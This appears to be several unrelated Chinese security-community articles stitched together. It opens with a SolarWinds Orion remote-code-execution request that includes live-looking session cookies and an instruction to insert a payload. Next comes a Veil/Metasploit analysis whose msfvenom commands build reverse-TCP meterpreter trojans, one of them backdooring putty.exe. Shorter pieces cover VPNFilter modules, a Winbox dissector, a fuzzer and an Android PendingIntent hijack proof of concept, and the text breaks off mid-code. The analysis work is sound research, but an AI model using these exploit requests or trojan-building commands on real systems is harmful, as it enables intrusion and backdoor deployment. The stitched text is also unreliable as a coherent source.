Cookie: __AntiXsrfToken=49d368c51e2b4bffbbeae1904e825850; Orion_IsSessionExp=TRUE; ASP.NET_SessionId=3iel4j1s0uuvy3n0dkpugw30; .ASPXAUTH=B57BE373D7D9F57BE66003BCBCD663097E6FD5979FA91CA0965925EF9F662DFAB27DBB05B583F996018A5F7D78F2C6A2359918791EE44E7DACF4031FAB5E393924CB249702AED0D100289B94588277792D5C27B5C4E3089926CA43FD2733491A66D224CFF83D7803E25CF52EAEC35C2723BAD30A762E1EBA62543BFB203B6E5B3CAC97CCBF32C724994B67E47320F56FC2498C105BB89DE7917FE3923401C0B86C6B1A8ACB583A763D89344AA7561E1F; XSRF-TOKEN=gHBB9ZU1MA4DQazR0Fburx9Yjf05BEMOTYPUmxGLL1s=
Connection: close
[{"ResourceId":null,"Hash":null,"ServerMethod":null,"ServerControlDefinition":"Control=~/Orion/PM/Controls/Update/GroupsMissingUpdateCtrl.ascx|config.ParametersSerial=HERE IS YOUR PAYLOAD|config.PreLoadMethodSerial=SolarWinds.Orion.Core.Models.Actions.Contexts.AlertingActionContext, SolarWinds.Orion.Actions.Models;asd","Parameters":[]}]
替换`HERE IS YOUR PAYLOAD`为你的payload，然后就RCE了。 | 社区文章 |
# 恶意框架样本分析-从Veil到Msf
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## MSF概述
接上文，笔者通过上一篇文章逐渐完成了从CobaltStrike到Veil框架的过渡，在文章后半部分着重介绍了Veil框架的基本使用，也对Veil框架生成的一些恶意样本进行了一个简单的分析。
所以本文志在完成从Veil到msf的过渡，看看这些工具框架，为什么深得红队和攻击者的喜爱。
在上篇文章的最后，笔者通过Veil框架生成了c/meterpreter类型的payload并通过阅读生成的c语言代码梳理了c/meterpreter的整个流程。那么meterpreter到底是什么呢，所以在继续深入分析Veil框架所生成的木马之前，我们先来看看meterpreter相关的一些信息。
通常我们说的msf指的是MetaSploit
Framework。msf是一款强大的渗透测试工具，它主要是包含了msfvenom和meterpreter。其中msfvenom是msfpayload,msfencode的结合体,它的优点是单一命令行和效率.利用msfvenom生成各种版本木马程序,并在目标机上执行,在本地监听上线，执行攻击。Meterpreter是msf强大的后渗透模块。
## MSF所有类型
在kali中启动msf，然后在控制台输入msfvenom -h 查看帮助选项：
-l 参数指定了msfvenom可生成那些类型的payload以供攻击者使用，包括payload的类型、payload编码方式、加密方式、填充方式、操作系统平台、处理器架构等等。
msfvenom -l type
可查看msf所有可生成的样本类型，一共562种。具体可生成的类型可在在msf控制台中输入指令查看或在[这里](https://www.yuque.com/p1ut0/qtmgyx/ik3omh)查看.
msfvenom -l archs 可查看msf可生成的所有平台的样本：
aarch64
armbe
armle
cbea
cbea64
cmd
dalvik
firefox
java
mips
mips64
mips64le
mipsbe
mipsle
nodejs
php
ppc
ppc64
ppc64le
ppce500v2
python
r
ruby
sparc
sparc64
tty
x64
x86
x86_64
zarch
msfvenom -l encoders 会列出msf payload所有的编码方式
cmd/brace low Bash Brace Expansion Command Encoder
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Bourne ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte_xori normal Byte XORi Encoder
mipsbe/longxor normal XOR Encoder
mipsle/byte_xori normal Byte XORi Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 Encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
ruby/base64 great Ruby Base64 Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x64/xor_context normal Hostname-based Context Keyed Payload Encoder
x64/xor_dynamic normal Dynamic key XOR Encoder
x64/zutto_dekiru manual Zutto Dekiru
x86/add_sub manual Add/Sub Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower manual Avoid underscore/tolower
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglot manual BMP Polyglot
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/opt_sub manual Sub Encoder (optimised)
x86/service manual Register Service
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
x86/xor_dynamic normal Dynamic key XOR Encoder
msfvenom -l encrypt可列出msf样本中所有的代码加密方法
aes256
base64
rc4
xor
msfvenom -l formats可列出msf所有可生成的格式类型
asp
aspx
aspx-exe
axis2
dll
elf
elf-so
exe
exe-only
exe-service
exe-small
hta-psh
jar
jsp
loop-vbs
macho
msi
msi-nouac
osx-app
psh
psh-cmd
psh-net
psh-reflection
vba
vba-exe
vba-psh
vbs
war
bash
c
csharp
dw
dword
hex
java
js_be
js_le
num
perl
pl
powershell
ps1
py
python
raw
rb
ruby
sh
vbapplication
vbscript
## 生成MSF基本木马
所以可以通过msfvenom 加一些组合指令，进行msf payload的生成。最基本的生成指令为：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.230.129 LPORT=80 —platform win -f exe -o meterpreter_x86_tcp.exe
拆解一下可以得知
-p是刚才我们看到的payload类型，一共有五百多中
lhost 是需要指定的c2地址
lport 是需要制定的c2端口
—platform 是指定平台
-f 是指定format格式
-o是out表明输出路径
除此之外，还可以通过
-e 指定编码
-b 指定过滤的坏字符
-i 指定shellcode混淆的次数
-c 指定要包含的额外的shellcode文件
-x 指定一个自定义的可执行文件作为模板进行捆绑
-k 保留原本的模板文件功能，创建新线程注入payload
-t 指定payload等待时间等等
这样一来，玩法就很多了，就光是平台、payload类型、format、encoder等参数组合生成，可生成的样本就已经是指数级上升了。
## MSF样本分析
### 创线程类样本
生成常见patch putty类的样本，就是入口点创建线程，然后解密后续payload的类型，主要就是-k参数
msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX.exe
入口点代码如下：
程序运行之后，首先会通过lea
edx,byte_xxxx的方式将编码后的shellcode地址赋值给edx，然后创建线程执行edx处的函数。edx函数过来，前面一段解密代码，由于在生成样本的时候指定了i=3，所以这里会通过3个loop，边执行边解密后面的代码。
实际上，-x 的patch操作不仅是针对putty的，msfvenom可通过-x参数patch任意文件，并且根据官方的描述，-k参数可以使得被patch的程序keep原始的功能，只是将shellcode作为一个新线程注入执行。
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
所以理论上来讲，-x -k 方式patch的程序，是会保持原有功能的。
这里这里以CFF Explorer为例，看看程序被patch之后，是否还保存着原有的功能。
原始程序不依赖任何环境可正常运行
为了看起来方便，这里就不对payload进行编码了，直接生成：
由于-k 参数保存了程序的原代码，所以patch的时候会将shellcode插入到程序中，patch后的程序就会比原程序大很多：
将两个程序载入IDA可知，被patch的程序并没有新增节，而是就将线程注入的代码插入在了text节中，当线程创建之后，程序会jmp跳转到程序原始的入口点去。
但是在实际调试的时候发现，jmp过去之后并不能正常的将原来的代码启动起来。为了确定不是CFF
Explorer的问题，笔者自己编译了一个C语言编写的helloworld程序。
patch之后的程序可以正常启用原代码，所以可以推测是CFF本身的问题导致patchCFF 之后不能启动，或者是msfvenom
patch过大的程序就有可能出现这样的bug。
而执行的线程代码也比较简单，首先是通过一个loop动态解密后面的代码，这里要执行多少个循环跟生成木马时指定的i相关，不再赘述
代码解密之后，动态解密api地址，然后通过jmp eax的方式加载执行
以Http协议为例，在InternetConnect函数的时候跟进去，然后根据参数很明显的就可以看到回连的C2地址：
刚看完CobaltStrike分段Beacon样本的读者应该还记得，CobaltStrike样本中的shellcode也是通过这样的方式解密执行的。对比分析的话可以发现这里的代码基本一样，这是因为早期的CobaltStrike是内嵌在msf框架内部的，最开始cs是作为msf的一个工具，后来才慢慢独立出来打包成了一个新的产品。所以这段加载的shellcode，应该是从msf”继承”过来的。
### 完全patch的样本
上面的参数如果去掉-k ，那么程序入口点则会是一段不定长度的混淆代码（每次生成的长度不一样）
前面的无用代码跑完之后，程序会通过多个jmp解密代码，同时干扰用户分析。
F8步过jmp ，找到jl或者jne这种可跳转出去的地方
这里看样子应该是jne跳走的，所以直接在jne下面设置断点跑过去即可过掉第一部分的jmp
跳过多次之后，程序会解密出VirtualAlloc的API
拷贝shellcode到分配出来的内存空间：
然后call 到该内存中继续执行：
过来的代码就很熟悉了，其实就是创建线程类样本所创建的线程函数：
该段shellcode也硬编码在text节中
关于MSF框架的基本信息和通过默认配置生成的木马差不多就是这样了，这里只是先对其进行一个大概的介绍，方便下文接着分析Veil。
## Veil(下)
### 概述
书接上文，学习了msf的meterpreter，现在接着看看Veil生成的meterpreter相关样本。
### cs/meterpreter
这里的cs并不是CobaltStrike，而是CSharp。
Veil的9到13选项是cs/meterpreter形式的payload，其中前面三类是通过解密硬编码在样本中的数据得到下载地址，下载后续payload到内存之后创建线程加载执行。后面两类是直接将一段shellcode通过一定的编码方式存放在样本中，创建线程执行。
键入use 9
的命令尝试创建一个cs/meterpreter/rev_http类型的样本，相比c语言类型的样本，此类配置就稍显浮渣一些，包括设置检测调试器、限制domain、payload到期时间、心跳时间等等。
这里仅开启反调试并生成对应的payload
生成出来的C#样本是一个下载器，体积非常小，只有6144字节：
程序的没有多余的代码，就是解密拼接下载路径然后进行网络请求下载后续payload创建线程执行：
由于在生成样本的时候启用了反调试选项，这里在Main可以看到程序用了一个非常简单的检测反调试代码
if(!Debugger.IsAttached)
程序启动后，根据生成的随机数r和预定义的数组计算出一个长度为4的请求路径然后与main函数中预定义的ip地址进行拼接，由于请求路径的生成算法中有个随机数r，所以每次启动的请求路径是不同的：
拼接出请求路径之后，程序将会构建请求头然后尝试访问该地址并下载后续的payload，并且根据代码可知，下载回来的数据长度不小于100000
最后就是创建线程以执行这段byte
下载回来的payload又是老相识：
通过火绒剑的内存查看工具，可以看到这段shellcode的头部代码，头部基本可以看出属于msf的shellcode:
关于这段shellcode的调试方法比较多，可以将其dump出来调试，也可以直接通过x64dbg这类工具进行调试。
由于dnspy不支持调试指定的内存，这个时候就需要借助od或x64dbg这类调试工具，但od这类的工具调试.NET样本的话，外层是.NET虚拟机，这里就需要想办法绕过外层的.NET虚拟机进入到内层的代码。
通过C#代码已经得知程序最后是调用CreateThread将shellcode加载起来的，所以这里就对CreateThread的下层API设置断点，比如ZwCreateThreadEx
设置好断点之后，转到线程窗口，当看到可疑的线程出来之后即可右键转到线程入口查看：
这里很快就定位到00C10000这个线程就是我们在找的线程，此时重新加载样本，在序号为12的线程启动起来之前，回到代码的用户空间，然后对VirtualAlloc设置断点即可定位到分配空间并将下载回来的shellcode赋值的部分：
直接对这个00B60000设置断点即可过来：
这里的shellcode首先会通过一个循环解密后面的数据：
解密之后如下：
代码解密完成之后，程序会通过LoadLibrary和GetProcAddress获取所需API的地址
由于篇幅原因，这里不再对后面的代码进行详细分析，感兴趣的朋友可以可以跟着调一下后面这部分后门代码。
### cs/shellcode_Inject
在Veil框架中生成C#的注入代码，分别由base64.py和virtual.py实现。
base64.py可生成默认样本、msfvenom类型样本、以string形式存在的shellcode和以hex存在的shellcode
通过此类方法会和之前一样，生成一段shellcode然后通过该段shellcode生成一个文件
此次生成的样本依旧很小，但是和上一类样本的加载方式就截然不同
这里程序将上面看到的shellcode编码成了base64的字符串，直接将这段shellcodedump出来调试，就是一段下载后续payload的shellcode
其他编码的样本大同小异，这里就不重复分析了。
### lua/perl Shellcode
Veil框架中18 和19 选项分别用于生成lua脚本和perl脚本，两类脚本均为加载硬编码在代码中的shellcode：
加载代码如下：
### Powershell/meterpreter
Veil中20到24选项可以生成Powershell类型的meterpreter
但这里并不是直接生成Powershell类型的ps1文件，而是生成一个bat文件，在bat中调用Powershell.exe以执行Powershell代码，bat文件文件对操作系统进行了判断，保证系统会在32位的模式下启动这段shellcode。
这里执行的Powershell代码是一段压缩后的二进制流，将其解压缩之后如下，同样的是创建线程以从C2下载后续。
经过分析，python、Ruby、Powershell多种类型的shellcode加载方式一致，主要是代码语法不同，这里就不一一展开了。目前已经基本完成CobaltStrike、Veil所生成的一些木马的完整分析。msf由于框架过于庞大，无法对其所有的样本进行详细分析。但是相信大家以后在分析过程中遇到这三类的样本时候，可以很快的看出来。 | 社区文章 |
本文翻译自：
<https://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html>
* * *
<https://xz.aliyun.com/t/2813> 中提到VPNFilter更新过程中共加入7个新模块，本文继续分析其余4个模块。
# netfilter（DOS工具）
Netfilter在命令行中也会有三个参数，但前二个参数是不用的，第三个参数是格式`<block/unblock> <# of
minutes>`中引用的字符串。`<# of
minutes>`是netfilter在退出前要执行的时间。如果`block`是第三个参数的第一部分，netfilter就会将下面的规则加入iptables：
Chain FORWARD (policy ACCEPT)
target prot opt source destination
DROP tcp -- anywhere anywhere tcpflags: PSH/PSH
添加了规则后，netfilter会等30秒然后删除该规则。然后与`# of
minutes`的时间进行比较，如果还有剩下的时间，该进程就再次执行。添加和删除的循环能确保event中一直有该规则。
一旦超时，该程序就退出。Signal
handlers会在netfilter程序中安装，如果程序接收到SIGINT或SIGTERM，netfilter程序会删除iptables规则，然后退出。
最后，`unblock`参数可以删除之前用`block`参数添加的iptables规则。
Netfilter模块可能主要是用于限制对特定形式的加密应用的访问。
# portforwarding
Portforwarding模块会执行下面的命令和参数：
portforwarding <unused> <unused> "start <IP1> <PORT1> <IP2> <PORT2>"
根据这些参数，portforwarding模块会通过安装下面的iptables规则来转发特定端口和IP的流量到另一个端口和IP：
iptables -t nat -I PREROUTING 1 -p tcp -m tcp -d <IP1> --dport <PORT1> -j DNAT --to-destination <IP2>:<PORT2>
iptables -t nat -I POSTROUTING 1 -p tcp -m tcp -d <IP2> --dport <PORT2> -j SNAT --to-source <device IP>
这些规则使通过受感染设备的到IP1: PORT1的流量被重定向到IP2: PORT2
。第二条规则会修改重定向的流量的源地址到受感染的设备来确保响应消息发送给受感染的设备。
在安装ipables规则前，portforwarding模块首先会创建一个到IP2
port2的socket连接来检查IP2是否可达。但socket关闭前也没有数据发送。
与其他操作iptables的模块类似，portforwarding模块会进入添加规则、等待、删除规则的循环以确保规则一直保留在设备中。
# socks5proxy
socks5proxy模块是一个基于开源项目shadowsocks的SOCKS5代理服务器。服务器不使用认证，通过硬编码来监听TCP
5380端口。在服务器开启前，socks5proxy
fork会根据模块提供的参数连接到C2服务器。如果服务器不能在短时间（几秒）内响应，fork就会kill父进程然后退出。C2服务器会响应正常执行或中止的命令。
该模块含有下面的使用字符串，虽然与socks5proxy模块的参数不一致，但是这些设置不能通过命令行参数进行修改：
ssserver
--username <username> username for auth
--password <password> password for auth
-p, --port <port> server port, default to 1080
-d run in daemon
--loglevel <level> log levels: fatal, error, warning, info, debug, trace
-h, --help help
socks5proxy模块的真实命令行参数为：
./socks5proxy <unused> <unused> "start <C&C IP> <C&C port>"
socks5proxy模块会确认参数的个数大于1，但是如果有2个参数，其中一个是SIGSEV信号进程就会奔溃，说明恶意软件工具链在开发过程中有质量缺陷。
# tcpvpn
tcpvpn模块是一个反向TCP（Reverse-TCP）VPN模块，允许远程攻击者访问已感染设备所在的内部网络。该模块与远程服务器通信，服务器可以创建类似TunTap之类的设备，通过TCP连接转发数据包。连接请求由网络设备发出，因此可能帮助该模块绕过某些简单的防火墙或者NAT限制。该模块类似于Cobalt
Strike这款渗透测试软件的VPN Pivoting功能。
所有数据都是RC4加密的，key是用硬编码的字节生成的。
"213B482A724B7C5F4D77532B45212D215E79433D794A54682E6B653A56796E457A2D7E3B3A2D513B6B515E775E2D7E533B51455A68365E6A67665F34527A7347"
与tcpvpn模块关联的命令行语法：
./tcpvpn <unused> <unused> "start <C&C IP> <C&C port>"
# MikroTik
## Winbox Protocol Dissector
研究人员在研究VPNFilter时，需要了解这些设备是如何被入侵的。在分析MikroTik设备时，研究人员发现了一个开放端口TCP
8291，配置工具Winbox用端口TCP 8291进行通信。
来自这些设备的流量多为二进制数据，因此我们无法在不使用协议解析器的情况下来分析该协议所能触及的访问路径。因此，研究人员决定自己开发协议解析器，协议解析器与包分析工具配合使用开源设计防止未来感染的有效规则。
比如，CVE-2018-14847允许攻击者执行目录遍历来进行非认证的凭证恢复。协议解析器在分析该漏洞中起了很大的作用。
## Winbox协议
Winbox来源于MikroTik提供的Winbox客户端，用作Web GUI的替代方案。
官方文档称，Winbox是一个小工具，可以使用快速简单地通过GUI来管理MikroTik
RouterOS。这是一个原生的Win32程序，但也可以通过Wine运行在Linux以及MacOS上。所有的Winbox接口函数都尽可能与控制台函数耦合。但Winbox无法修改某些高级以及关键系统配置，比如无法修改某个接口的MAC地址。
但Winbox协议并非官方名词，只是与官方客户端匹配，因此选择沿用该名词。
## 使用解析器
解析器安装起来非常简单，由于这是一个基于LUA的解析器，因此无需重新编译。只需要将`Winbox_Dissector.lua`文件放入`/$HOME/.wireshark/plugins`目录即可。默认情况下，只要安装了这个解析器，就能正确解析来自或者发往TCP
8291端口的所有流量。
来自客户端/服务器的单条消息解析起来更加方便，然而实际环境中总会遇到各种各样的情况。观察实时通信数据后，我们证实Winbox消息可以使用各种格式进行发送。
我们捕获过的Winbox通信数据具备各种属性，比如：
1. 在同一个报文中发送多条消息；
2. 消息中包含1个或多个2字节的“chunks”数据，我们在解析之前需要删除这些数据；
3. 消息过长，无法使用单个报文发送——出现TCP重组情况；
4. 包含其他“嵌套”消息的消息。
在安装解析器之前捕获得到数据包如下图所示：
安装Winbox协议解析器后，Wireshark可以正确地解析通信数据，如下图所示：
## 获取解析器
思科Talos团队开源了该工具，下载地址：<https://github.com/Cisco-Talos/Winbox_Protocol_Dissector> | 社区文章 |
#### 项目地址
MemAFL：<https://github.com/treebacker/MemAFL>
#### 简要介绍
一句话：属于本人的毕业设计实现的一个AFL改进的模糊测试工具，也是帮助本人第一次刷CVE的工具。
主要基于llvm做的插桩上的改进，改进的几个重点（改进代码都在`mm_metric`目录下）
* 程序的预分析
通过llvm在每一个module中分析字符串处理函数，对于`strcmp`、`strcpy`、`strcat`等这种函数如果引用了常量字符串，那么说明这些字符串有
**影响程序控制流** 的可能，将保留作为种子因素，参与后续的种子变异中。
* 内存敏感
主要从两个方面，一个是指令级，会记录每一个种子程序的执行路径覆盖的mem-operation情况。
另一个是函数级，对于敏感函数，如`malloc`、`free`等，会偏向于覆盖这些路径。
* 路径覆盖
基于插桩获取的信息，覆盖更多的路径，继承的AFL的策略，加上了内存敏感的路径覆盖。
另外，也会记录路径中的 **子函数调用** 情况，优先选择调用子函数更频繁的种子。
* 哈希碰撞率的缓解
研究过AFL原理的应该记得，AFL使用的路径记录策略，当程序基本块量足够大时，会有很大概率的哈希碰撞情况。由于基于覆盖率的模糊测试依赖于路径，路径信息的错误使得后续很多策略都是受到误导的。
缓解的思想如下图：
在AFL中，这个函数会被插入三个BlockID，但是MemAFL只会插入一个BlockID。
原因如下：
函数的入口基本块，只要执行该函数就一定会执行完全该基本块，不存在去区分路径，所以就省去了插桩。
对于函数退出基本块，如果是唯一的，那么也适用于这个道理。
通过减少插桩点，对应的，需要记录的路径信息减少了，经过测试可以降低 **10%-20%** 的哈希碰撞率。
#### 发现的CVE
都是一些没什么利用价值的开源软件...，上图
[
#### 最后
其实总体上，做出的改进并不多，但是效果作为毕设我还是挺意外的，毕业证拿到了，想开源出来（被捶认了），欢迎师傅交流，一起学习漏洞挖掘漏洞利用啊！ | 社区文章 |
**作者：heeeeen
公众号：[OPPO安全应急响应中心](https://mp.weixin.qq.com/s/SAhXsCHvAct_2SxCXd2w0Q
"OPPO安全应急响应中心")**
系列阅读：
\- [Android 中的特殊攻击面（一）——邪恶的对话框](https://paper.seebug.org/1174/ "Android
中的特殊攻击面（一）——邪恶的对话框")
\- [Android 中的特殊攻击面（二）——危险的deeplink](https://paper.seebug.org/1175/ "Android
中的特殊攻击面（二）——危险的deeplink")
### 0x00 简介
6月，Google在Android AOSP Framework中修复了OPPO子午互联网安全实验室发现的高危提权漏洞CVE-2020-0144 [1]
，这个漏洞允许手机上没有权限的恶意应用以SystemUI 的名义发送任意Activity Intent
，可以静默拨打紧急电话，打开许多受权限保护的Activity。该漏洞也是自retme大神所分析的BroadcastAnyWhere经典漏洞[2]以来的又一个PendingIntent劫持漏洞，尽管无法以System
UID的权限发送任意广播，但由于SystemUI 同样拥有大量权限，该提权漏洞仍然具有很大的利用空间。
本文将对CVE-2020-0144进行分析，不过重点倒不在于PendingIntent漏洞利用，而是介绍该漏洞中PendingIntent的获取，这涉及到ContentProvider的一个比较隐蔽的函数——call
。
### 0x01 ContentProvider call
call函数的其中一个原型如下
public Bundle call (String method, String arg, Bundle extras) Bundle extras)
与其他基于数据库表的query/insert/delete等函数不同，call提供了一种针对Provider的直接操作接口，支持传入的参数分别为：方法、String类型的参数和Bundle类型的参数，并返回给调用者一个Bundle
类型的参数。
call函数的使用潜藏暗坑，开发者文档特意给出警示[3]：Android框架并没有针对call函数进行权限检查，call函数必须实现自己的权限检查。这里的潜在含义是：AndroidManifest文件中对ContentProvider的权限设置可能无效，必须在代码中对调用者进行权限检查。文章[4]对这种call函数的误用进行了描述，并给出了漏洞模型，感兴趣的读者可以去深究。
### 0x02 双无PendingIntent
CVE-2020-0144位于SystemUI的KeyGuardSliceProvider，该Provider包含一个构造自空Intent的PendingIntent。这是一个双无PendingIntent，既没有指定Intent的Package,也没有指定Intent的Action。普通App如果可以拿到这个PendingIntent，就可以填充这些内容，并以SystemUI的名义发送出去。
`frameworks/base/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java`
public boolean onCreateSliceProvider() {
...
mPendingIntent = PendingIntent.getActivity(getContext(), 0, new Intent(), 0);
...
}
return true;
}
关键是普通App，如何拿到这个PendingIntent？要回答这个问题，必须从KeyGuardSliceProvider的父类SliceProvider说起。
### 0x03 SliceProvider
SliceProvider是自Android
P开始引入的一种应用程序间共享UI界面的机制，其架构如下图所示。在默认使用场景下，Slice的呈现者（SlicePresenter)，可以通过Slice
URI和Android系统提供的bindSlice等API来访问另一个App通过SliceProvider分享出来的Slice。
简而言之，Slice是可共享的UI界面，包括图标、文本和动作(action)，Slice通过URI来唯一标识。比如Settings中打开NFC开关的这个界面
可以通过SettingsSliceProvider中content://android.settings.slices/action/toggle_nfc这个URI共享给别的应用使用，用户不必打开Settings，就可以在其他应用界面中对NFC开关进行操作。除了显示文字和图标，上述界面也包含两个action：
点击文字：跳转到Settings中的NFC设置界面；
点击按钮：直接打开或关闭NFC选项。
这两个提供给用户触发的action实质都是通过PendingIntent来实现的。
关于SliceProvider的详细介绍参见[5]、[6]，尽管Android框架层提供了一系列API供App来使用SliceProvider，但更底层的call函数提供了一种直接操纵SliceProvider的捷径。
仔细观察SliceProvider，实现了call函数，根据不同的调用方法，返回一个包含Slice对象的Bundle。
`frameworks/base/core/java/android/app/slice/SliceProvider.java`
@Override
public Bundle call(String method, String arg, Bundle extras) {
if (method.equals(METHOD_SLICE)) {
Uri uri = getUriWithoutUserId(validateIncomingUriOrNull(
extras.getParcelable(EXTRA_BIND_URI)));
List<SliceSpec> supportedSpecs = extras.getParcelableArrayList(EXTRA_SUPPORTED_SPECS);
String callingPackage = getCallingPackage();
int callingUid = Binder.getCallingUid();
int callingPid = Binder.getCallingPid();
Slice s = handleBindSlice(uri, supportedSpecs, callingPackage, callingUid, callingPid);
Bundle b = new Bundle();
b.putParcelable(EXTRA_SLICE, s);
return b;
} else if (method.equals(METHOD_MAP_INTENT)) {
...
} else if (method.equals(METHOD_MAP_ONLY_INTENT)) {
...
} else if (method.equals(METHOD_PIN)) {
...
} else if (method.equals(METHOD_UNPIN)) {
...
} else if (method.equals(METHOD_GET_DESCENDANTS)) {
...
} else if (method.equals(METHOD_GET_PERMISSIONS)) {
...
}
return super.call(method, arg, extras);
}
我们观察第一个分支，当传入的方法为METHOD_SLICE时，调用链为SliceProvider.handleBindSlice-->onBindSliceStrict-->onBindSlice，中间若通过了Slice访问的权限检查，最终就会进入onBindSlice方法，在SliceProvder中这个方法为空，因此具体实现在派生SliceProvider的子类。
### 0x04 KeyguardSliceProvider
SystemUI
所使用的KeyguardSliceProivder派生自SliceProvider，可以将锁屏上的日期、勿扰图标以及闹钟等展示界面分享给其他App使用。
<provider android:name=".keyguard.KeyguardSliceProvider"
android:authorities="com.android.systemui.keyguard"
android:grantUriPermissions="true"
android:exported="true">
</provider>
针对KeyguardSliceProvider的URI
content://com.android.systemui.keyguard使用call函数，传入METHOD_SLICE，最终进入下面的onBindSlice方法。
`frameworks/base/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java`
@AnyThread
@Override
public Slice onBindSlice(Uri sliceUri) {
Trace.beginSection("KeyguardSliceProvider#onBindSlice");
Slice slice;
synchronized (this) {
ListBuilder builder = new ListBuilder(getContext(), mSliceUri, ListBuilder.INFINITY);
if (needsMediaLocked()) {
addMediaLocked(builder);
} else {
builder.addRow(new RowBuilder(mDateUri).setTitle(mLastText));
}
addNextAlarmLocked(builder);
addZenModeLocked(builder);
addPrimaryActionLocked(builder);
slice = builder.build();
}
Trace.endSection();
return slice;
}
这个方法返回给调用方KeyGuardSliceProvider的Slice对象，该对象通过addPrimaryActionLocked(builder)函数添加内部的action。
`frameworks/base/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java`
protected void addPrimaryActionLocked(ListBuilder builder) {
// Add simple action because API requires it; Keyguard handles presenting
// its own slices so this action + icon are actually never used.
IconCompat icon = IconCompat.createWithResource(getContext(),
R.drawable.ic_access_alarms_big);
SliceAction action = SliceAction.createDeeplink(mPendingIntent, icon,
ListBuilder.ICON_IMAGE, mLastText);
RowBuilder primaryActionRow = new RowBuilder(Uri.parse(KEYGUARD_ACTION_URI))
.setPrimaryAction(action);
builder.addRow(primaryActionRow);
}
注意上面那个mPendingIntent，也就是我们在前文所说的那个双无PendingIntent，该对象会被层层包裹到call函数返回的Slice对象中。因此，通过call函数，经过SliceProvider与KeyguardSliceProvider，有可能拿到SystemUI
生成的一个双无PendingIntent。
### 0x05 SliceProvider授权
但是使用下面的代码去call KeyguardSliceProvider会触发第一次访问Slice的授权。
\----POC1----
final static String uriKeyguardSlices = "content://com.android.systemui.keyguard";
Bundle responseBundle = getContentResolver().call(Uri.parse(uriKeyguardSlices), "bind_slice", null, prepareReqBundle());
Slice slice = responseBundle.getParcelable("slice");
Log.d("pi", slice.toString());
private Bundle prepareReqBundle() {
Bundle b = new Bundle();
b.putParcelable("slice_uri", Uri.parse(uriKeyguardSlices));
ArrayList<Parcelable> supportedSpecs = new ArrayList<Parcelable>();
supportedSpecs.add(new SliceSpec("androidx.app.slice.LIST", 1));
supportedSpecs.add(new SliceSpec("androidx.slice.LIST", 1));
supportedSpecs.add(new SliceSpec("androidx.app.slice.BASIC", 1));
b.putParcelableArrayList("supported_specs", supportedSpecs);
return b;
}
得到Slice如下
05-30 08:31:02.306 11449 11449 D pi : slice:
05-30 08:31:02.306 11449 11449 D pi : image
05-30 08:31:02.306 11449 11449 D pi : text: testAOSPSytemUIKeyguardSliceProvider wants to show System UI slices
05-30 08:31:02.306 11449 11449 D pi : int
05-30 08:31:02.306 11449 11449 D pi : slice:
05-30 08:31:02.306 11449 11449 D pi : image
05-30 08:31:02.306 11449 11449 D pi : action
从上面的text描述可知，由于SystemUI并没有授权给我们的app去访问这个Slice，我们的call触发了对Slice的授权请求，得到的Slice对象经由createPermissionSlice返回
`frameworks/base/core/java/android/app/slice/SliceProvider.java`
private Slice handleBindSlice(Uri sliceUri, List<SliceSpec> supportedSpecs,
String callingPkg, int callingUid, int callingPid) {
// This can be removed once Slice#bindSlice is removed and everyone is using
// SliceManager#bindSlice.
String pkg = callingPkg != null ? callingPkg
: getContext().getPackageManager().getNameForUid(callingUid);
try {
mSliceManager.enforceSlicePermission(sliceUri, pkg,
callingPid, callingUid, mAutoGrantPermissions);
} catch (SecurityException e) {
return createPermissionSlice(getContext(), sliceUri, pkg);
}
这个Slice封装了一个向用户获取授权的动作，通过createPermissionSlice函数得到
`frameworks/base/core/java/android/app/slice/SliceProvider.java`
public Slice createPermissionSlice(Context context, Uri sliceUri,
String callingPackage) {
PendingIntent action;
mCallback = "onCreatePermissionRequest";
Handler.getMain().postDelayed(mAnr, SLICE_BIND_ANR);
try {
action = onCreatePermissionRequest(sliceUri);
} finally {
Handler.getMain().removeCallbacks(mAnr);
}
最终调用createPermissionIntent，构造一个PendingIntent，用于弹出授权对话框SlicePermissionActivity
`frameworks/base/core/java/android/app/slice/SliceProvider.java`
/**
* @hide
*/
public static PendingIntent createPermissionIntent(Context context, Uri sliceUri,
String callingPackage) {
Intent intent = new Intent(SliceManager.ACTION_REQUEST_SLICE_PERMISSION);
intent.setComponent(new ComponentName("com.android.systemui",
"com.android.systemui.SlicePermissionActivity"));
